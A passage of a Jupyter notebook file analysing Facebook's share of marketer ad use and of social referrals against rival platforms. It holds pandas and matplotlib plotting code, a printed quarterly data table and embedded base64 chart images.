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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB26.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.figure(figsize=(15,9))\n", + "plt.grid(axis='y', color='g')\n", + "plt.xlabel(\"Ad platforms used by markers, Facebook vs rivals\")\n", + "plt.bar(x,y,color='k')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook percentage of social referrals vs other platforms" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Platform Q1 2019 Q2 2019 Q3 2019 Q4 2019 Q1 2020\n", + "0 Facebook 49.9 49.5 53.5 50.5 42.6\n", + "1 Twitter 7.7 7.8 7.6 17.3 24.5\n", + "2 Pinterest 34.4 33.0 33.6 21.2 18.3\n", + "3 Instagram 1.4 1.8 2.1 8.3 12.1\n", + "4 YouTube 1.3 1.5 1.4 1.3 1.3\n", + "5 Reddit 3.7 4.9 0.6 0.5 0.5\n", + "6 Other 0.5 0.4 0.4 0.3 0.3\n" + ] + }, + { + "data": { + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "image/png": "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